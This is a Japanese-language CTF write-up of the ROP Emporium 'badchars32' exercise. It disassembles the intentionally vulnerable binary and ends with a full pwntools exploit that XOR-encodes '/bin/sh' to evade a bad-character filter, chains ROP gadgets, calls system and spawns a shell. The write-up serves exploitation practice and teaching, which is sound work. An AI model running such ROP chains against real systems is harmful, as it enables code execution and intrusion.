ROP Emporium

ROPの練習問題集

ROP Emporium

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

writeup link

badchars32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

# file ./badchars32
./badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped
# 
#
#
# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> test

Exiting
#

badchars are: b i c / <space> f n sのメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。

# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bic/

Exiting
#

nmコマンドで実行ファイルのシンボル情報を確認する。
nm

# nm badchars32
0804a040 B __bss_start
08048801 t checkBadchars
0804a068 b completed.7200
0804a038 D __data_start
0804a038 W data_start
08048580 t deregister_tm_clones
080485f0 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a03c D __dso_handle
08049f14 d _DYNAMIC
0804a040 D _edata
0804a06c B _end
         U exit@@GLIBC_2.0
         U fgets@@GLIBC_2.0
08048904 T _fini
08048918 R _fp_hw
08048610 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048b10 r __FRAME_END__
         U free@@GLIBC_2.0
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804897c r __GNU_EH_FRAME_HDR
08048440 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804891c R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
08048900 T __libc_csu_fini
080488a0 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804863b T main
         U malloc@@GLIBC_2.0
         U memcpy@@GLIBC_2.0
         U memset@@GLIBC_2.0
080487c2 t nstrlen
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080486b6 t pwnme
080485b0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048540 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a040 D __TMC_END__
080487a9 t usefulFunction
08048890 T usefulGadgets
08048570 T __x86.get_pc_thunk.bx
#

usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。

gdbでbadchars32を解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x080487a9 <+0>: push   ebp
   0x080487aa <+1>: mov    ebp,esp
   0x080487ac <+3>: sub    esp,0x8
   0x080487af <+6>: sub    esp,0xc
   0x080487b2 <+9>: push   0x8048973
   0x080487b7 <+14>:  call   0x80484e0 <system@plt>
   0x080487bc <+19>:  add    esp,0x10
   0x080487bf <+22>:  nop
   0x080487c0 <+23>:  leave  
   0x080487c1 <+24>:  ret    
End of assembler dump.
gdb-peda$

gdb-peda$ x/s 0x8048973
0x8048973:  "/bin/ls"
gdb-peda$

usefulGadgetsの内容を確認する。

ROP Gadgetで使えそうなのは下記の４つ。
xor BYTE PTR [ebx],cl
mov DWORD PTR [edi],esi
pop ebx ; pop ecx
pop esi ; pop edi

gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048890 <+0>: xor    BYTE PTR [ebx],cl
   0x08048892 <+2>: ret    
   0x08048893 <+3>: mov    DWORD PTR [edi],esi
   0x08048895 <+5>: ret    
   0x08048896 <+6>: pop    ebx
   0x08048897 <+7>: pop    ecx
   0x08048898 <+8>: ret    
   0x08048899 <+9>: pop    esi
   0x0804889a <+10>:  pop    edi
   0x0804889b <+11>:  ret    
   0x0804889c <+12>:  xchg   ax,ax
   0x0804889e <+14>:  xchg   ax,ax
End of assembler dump.
gdb-peda$

pwnme関数の中でいままでの問題ではなかったcheckBadchars関数<pwnme +191>
が呼び出されている。

gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x080486b6 <+0>:	push   ebp
   0x080486b7 <+1>:	mov    ebp,esp
   0x080486b9 <+3>:	sub    esp,0x38
   0x080486bc <+6>:	mov    DWORD PTR [ebp-0x30],0x0
   0x080486c3 <+13>:	sub    esp,0xc
   0x080486c6 <+16>:	push   0x200
   0x080486cb <+21>:	call   0x80484c0 <malloc@plt>
   0x080486d0 <+26>:	add    esp,0x10
   0x080486d3 <+29>:	mov    DWORD PTR [ebp-0x2c],eax
   0x080486d6 <+32>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486d9 <+35>:	test   eax,eax
   0x080486db <+37>:	je     0x80486f5 <pwnme+63>
   0x080486dd <+39>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486e0 <+42>:	sub    esp,0x4
   0x080486e3 <+45>:	push   0x200
   0x080486e8 <+50>:	push   0x0
   0x080486ea <+52>:	push   eax
   0x080486eb <+53>:	call   0x8048520 <memset@plt>
   0x080486f0 <+58>:	add    esp,0x10
   0x080486f3 <+61>:	jmp    0x80486ff <pwnme+73>
   0x080486f5 <+63>:	sub    esp,0xc
   0x080486f8 <+66>:	push   0x1
   0x080486fa <+68>:	call   0x80484f0 <exit@plt>
   0x080486ff <+73>:	sub    esp,0x4
   0x08048702 <+76>:	push   0x20
   0x08048704 <+78>:	push   0x0
   0x08048706 <+80>:	lea    eax,[ebp-0x30]
   0x08048709 <+83>:	add    eax,0x8
   0x0804870c <+86>:	push   eax
   0x0804870d <+87>:	call   0x8048520 <memset@plt>
   0x08048712 <+92>:	add    esp,0x10
   0x08048715 <+95>:	sub    esp,0xc
   0x08048718 <+98>:	push   0x804894c
   0x0804871d <+103>:	call   0x80484d0 <puts@plt>
   0x08048722 <+108>:	add    esp,0x10
   0x08048725 <+111>:	sub    esp,0xc
   0x08048728 <+114>:	push   0x8048970
   0x0804872d <+119>:	call   0x8048480 <printf@plt>
   0x08048732 <+124>:	add    esp,0x10
   0x08048735 <+127>:	mov    edx,DWORD PTR ds:0x804a060
   0x0804873b <+133>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804873e <+136>:	sub    esp,0x4
   0x08048741 <+139>:	push   edx
   0x08048742 <+140>:	push   0x200
   0x08048747 <+145>:	push   eax
   0x08048748 <+146>:	call   0x80484b0 <fgets@plt>
   0x0804874d <+151>:	add    esp,0x10
   0x08048750 <+154>:	mov    DWORD PTR [ebp-0x2c],eax
   0x08048753 <+157>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048756 <+160>:	sub    esp,0x8
   0x08048759 <+163>:	push   0x200
   0x0804875e <+168>:	push   eax
   0x0804875f <+169>:	call   0x80487c2 <nstrlen>
   0x08048764 <+174>:	add    esp,0x10
   0x08048767 <+177>:	mov    DWORD PTR [ebp-0x30],eax
   0x0804876a <+180>:	mov    edx,DWORD PTR [ebp-0x30]
   0x0804876d <+183>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048770 <+186>:	sub    esp,0x8
   0x08048773 <+189>:	push   edx
   0x08048774 <+190>:	push   eax
   0x08048775 <+191>:	call   0x8048801 <checkBadchars>
   0x0804877a <+196>:	add    esp,0x10
   0x0804877d <+199>:	mov    edx,DWORD PTR [ebp-0x30]
   0x08048780 <+202>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048783 <+205>:	sub    esp,0x4
   0x08048786 <+208>:	push   edx
   0x08048787 <+209>:	push   eax
   0x08048788 <+210>:	lea    eax,[ebp-0x30]
   0x0804878b <+213>:	add    eax,0x8
   0x0804878e <+216>:	push   eax
   0x0804878f <+217>:	call   0x80484a0 <memcpy@plt>
   0x08048794 <+222>:	add    esp,0x10
   0x08048797 <+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804879a <+228>:	sub    esp,0xc
   0x0804879d <+231>:	push   eax
   0x0804879e <+232>:	call   0x8048490 <free@plt>
   0x080487a3 <+237>:	add    esp,0x10
   0x080487a6 <+240>:	nop
   0x080487a7 <+241>:	leave  
   0x080487a8 <+242>:	ret    
End of assembler dump.
gdb-peda$

checkBadchars関数の内容を確認してみる。

gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
   0x08048801 <+0>:	push   ebp
   0x08048802 <+1>:	mov    ebp,esp
   0x08048804 <+3>:	sub    esp,0x10
   0x08048807 <+6>:	mov    BYTE PTR [ebp-0x10],0x62
   0x0804880b <+10>:	mov    BYTE PTR [ebp-0xf],0x69
   0x0804880f <+14>:	mov    BYTE PTR [ebp-0xe],0x63
   0x08048813 <+18>:	mov    BYTE PTR [ebp-0xd],0x2f
   0x08048817 <+22>:	mov    BYTE PTR [ebp-0xc],0x20
   0x0804881b <+26>:	mov    BYTE PTR [ebp-0xb],0x66
   0x0804881f <+30>:	mov    BYTE PTR [ebp-0xa],0x6e
   0x08048823 <+34>:	mov    BYTE PTR [ebp-0x9],0x73
   0x08048827 <+38>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804882e <+45>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048835 <+52>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804883c <+59>:	jmp    0x804887c <checkBadchars+123>
   0x0804883e <+61>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048845 <+68>:	jmp    0x8048872 <checkBadchars+113>
   0x08048847 <+70>:	mov    edx,DWORD PTR [ebp+0x8]
   0x0804884a <+73>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804884d <+76>:	add    eax,edx
   0x0804884f <+78>:	movzx  edx,BYTE PTR [eax]
   0x08048852 <+81>:	lea    ecx,[ebp-0x10]
   0x08048855 <+84>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048858 <+87>:	add    eax,ecx
   0x0804885a <+89>:	movzx  eax,BYTE PTR [eax]
   0x0804885d <+92>:	cmp    dl,al
   0x0804885f <+94>:	jne    0x804886e <checkBadchars+109>
   0x08048861 <+96>:	mov    edx,DWORD PTR [ebp+0x8]
   0x08048864 <+99>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048867 <+102>:	add    eax,edx
   0x08048869 <+104>:	mov    BYTE PTR [eax],0xeb
   0x0804886c <+107>:	jmp    0x8048878 <checkBadchars+119>
   0x0804886e <+109>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048872 <+113>:	cmp    DWORD PTR [ebp-0x8],0x7
   0x08048876 <+117>:	jbe    0x8048847 <checkBadchars+70>
   0x08048878 <+119>:	add    DWORD PTR [ebp-0x4],0x1
   0x0804887c <+123>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804887f <+126>:	cmp    eax,DWORD PTR [ebp+0xc]
   0x08048882 <+129>:	jb     0x804883e <checkBadchars+61>
   0x08048884 <+131>:	nop
   0x08048885 <+132>:	leave  
   0x08048886 <+133>:	ret    
End of assembler dump.
gdb-peda$

<checkBadchars +6>から<checkBadchars +34>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
<checkBadchars +92>でstackに積んだBadcharsと入力文字を比較している。

gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力ではbintestを入力値としたが、badcharが0xebになっている。

badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bintest

[-------------------------------------code-------------------------------------]
   0x8048788 <pwnme+210>:	lea    eax,[ebp-0x30]
   0x804878b <pwnme+213>:	add    eax,0x8
   0x804878e <pwnme+216>:	push   eax
=> 0x804878f <pwnme+217>:	call   0x80484a0 <memcpy@plt>
   0x8048794 <pwnme+222>:	add    esp,0x10
   0x8048797 <pwnme+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x804879a <pwnme+228>:	sub    esp,0xc
   0x804879d <pwnme+231>:	push   eax
Guessed arguments:
arg[0]: 0xffffd290 --> 0x0 
arg[1]: 0x804b160 --> 0x74ebebeb 
arg[2]: 0x8

gdb-peda$ x/12 0x804b160
0x804b160:	0x74ebebeb	0x0a74eb65	0x00000000	0x00000000
0x804b170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b180:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$

write4の問題ではsystem(/bin/sh)を呼び出すためにpayloadに/bin/shの文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。

Moar XOR

作成したROPは以下の通り処理を行う。

メモリ上に'/bin/sh' ^ 0xffの値を格納する。
pop ecxでclに0xffを格納する。
('/bin/sh' ^ 0xff) ^ 0xffを1文字ずつ計算し、メモリ上に/bin/shの文字を作成する。
XORでは第一引数に処理結果が格納される。
作成した/bin/shを引数としてsystemを実行する。

+--------------------+
|       dummy        |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|    /bin ^ f0xff    |
+--------------------+
|    write address   |
+--------------------+
|    mov [edi],esi   |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|     /sh ^ f0xff    |
+--------------------+
|   write address +4 |
+--------------------+

+--------------------+
|       pop ecx      |
+--------------------+
|    0xff ff ff ff   |
+--------------------+

+--------------------+
|       pop ebx      |
+--------------------+
|    write address   |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +1 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +2 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +3 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +4 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +5 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+

+--------------------+
|      system@plt    |
+--------------------+
|        dummy       |
+--------------------+
|    write address   |
+--------------------+

/bin/shを書き込むメモリのアドレスをどこにするかはwrite4を参考にして決定。

gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481dc
.dynstr = 0x80482ac
.gnu.version = 0x804832e
.gnu.version_r = 0x8048348
.rel.dyn = 0x8048368
.rel.plt = 0x8048388
.init = 0x80483c0
.plt = 0x80483f0
.plt.got = 0x8048470
.text = 0x8048480
.fini = 0x80486e4
.rodata = 0x80486f8
.eh_frame_hdr = 0x804875c
.eh_frame = 0x8048798
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a028
.bss = 0x804a040
gdb-peda$

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/root/ROP_Emporium/write432/write432
0x08049000 0x0804a000 r--p	/root/ROP_Emporium/write432/write432
0x0804a000 0x0804b000 rw-p	/root/ROP_Emporium/write432/write432
0xf7dda000 0xf7df7000 r--p	/usr/lib32/libc-2.29.so
0xf7df7000 0xf7f42000 r-xp	/usr/lib32/libc-2.29.so
0xf7f42000 0xf7faf000 r--p	/usr/lib32/libc-2.29.so
0xf7faf000 0xf7fb1000 r--p	/usr/lib32/libc-2.29.so
0xf7fb1000 0xf7fb3000 rw-p	/usr/lib32/libc-2.29.so
0xf7fb3000 0xf7fb5000 rw-p	mapped
0xf7fce000 0xf7fd0000 rw-p	mapped
0xf7fd0000 0xf7fd3000 r--p	[vvar]
0xf7fd3000 0xf7fd4000 r-xp	[vdso]
0xf7fd4000 0xf7fd5000 r--p	/usr/lib32/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp	/usr/lib32/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p	/usr/lib32/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p	/usr/lib32/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p	/usr/lib32/ld-2.29.so
0xfffdd000 0xffffe000 rw-p	[stack]
gdb-peda$

書き込み権限があるbss領域をwrite addressとして使用する。

from pwn import *

conn = process('./badchars32')

system_addr=0x80484e0 # system@plt
xor_addr=0x08048890 # xor    BYTE PTR [ebx],cl ; ret
mov_edi_esi_addr=0x08048893 # mov    DWORD PTR [edi],esi ; ret
pop_esi_edi_addr=0x08048899 # pop esi ; pop edi ; ret 
pop_ecx_addr=0x08048897 # pop ecx ; ret
pop_ebx_addr=0x08048461 # pop ebx ; ret
write_mem_addr=0x804a038



payload = 'A'*44

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x9d\x96\x91'
payload += p32(write_mem_addr)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x8ch\x00'
payload += p32(write_mem_addr+4)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_ecx_addr)
payload += '\xff\xff\xff\xff'

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+1)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+2)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+3)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+5)
payload += p32(xor_addr)

payload += p32(system_addr)
payload += 'A'*4
payload += p32(write_mem_addr)

conn.sendline(payload)
conn.interactive()

# python badchars32.py
[+] Starting local process './badchars32': pid 5681
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
>$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$

badchars writeup

badcharsの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

# file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=adf195423b8ae2d246a212e0054f33e631ae0cd2, not stripped
# 
# 
# ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> test

Exiting
#